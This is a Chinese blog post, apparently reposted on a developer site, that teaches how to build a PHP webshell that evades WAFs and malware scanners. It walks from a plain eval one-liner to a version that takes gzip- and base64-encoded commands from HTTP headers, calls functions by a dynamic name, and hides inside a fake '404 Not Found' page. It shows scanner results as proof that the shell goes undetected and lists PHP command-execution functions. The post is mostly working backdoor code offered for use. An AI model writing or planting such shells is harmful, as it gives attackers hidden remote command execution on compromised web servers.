渗透测试小技巧之过waf木马

栏目: 编程工具 · 发布时间: 6年前

内容简介:渗透测试小技巧之过waf木马

在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!

Once step

普通一句话木马:

<?php eval($_POST['caidao']);?>

Second step

首先大家看下这个东西:

渗透测试小技巧之过waf木马

不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:

$compressed   = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>

Third step

那么重点来了!

我要说的就是 gzcompress 这个函数。然后我又查了查相关资料,找到了 PHP 中具有相同功能的函数还有两个: gzdeflategzencode

科普下:

压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode

gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;

其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。

有兴趣的自己在找找吧

Fourth step

写个生成密文的文件。

考虑到可能字符显示不全,无法识别等原因,再套一层base64。

if(isset($_POST['str'])){
	$str = $_POST['str'];
	$compressed = base64_encode(gzcompress($str, 9));
	echo $compressed;
}
?>

Fifth step

结合访问日志记录用到的 getallheaders 函数,最终的webshell如下:

<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));>

用D盾查一下

渗透测试小技巧之过waf木马

虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:

<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));>

看下webshell可用性

渗透测试小技巧之过waf木马

这里注意下,使用eval的话会报错,具体的原因请查看 错误详情

在安利下命令执行的一些函数:

'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open

Sixth step

再用D盾检测下

渗透测试小技巧之过waf木马

还是可疑啊,那行再伪造伪造下

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
  $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>

再检测下:

渗透测试小技巧之过waf木马

360 5引擎检测下

渗透测试小技巧之过waf木马

very perfect!

渗透测试小技巧之过waf木马

如果觉得自己添加头麻烦可疑使用自带的请求头字段:

getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept']

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

可爱的Python

可爱的Python

哲思社区 / 电子工业出版社 / 2009-9 / 55.00元

本书的内容主要来自CPyUG社区的邮件列表,由Python的行者根据自身经验组织而成,是为从来没有听说过Python的其他语言程序员准备的一份实用的导学性质的书。笔者试图将优化后的学习体验,通过故事的方式传达给读者,同时也分享了蟒样(Pythonic式)的知识获取技巧,而且希望将最常用的代码和思路,通过作弊条(Cheat Sheet,提示表单)的形式分享给有初步基础的Python 用户,来帮助大家......一起来看看 《可爱的Python》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具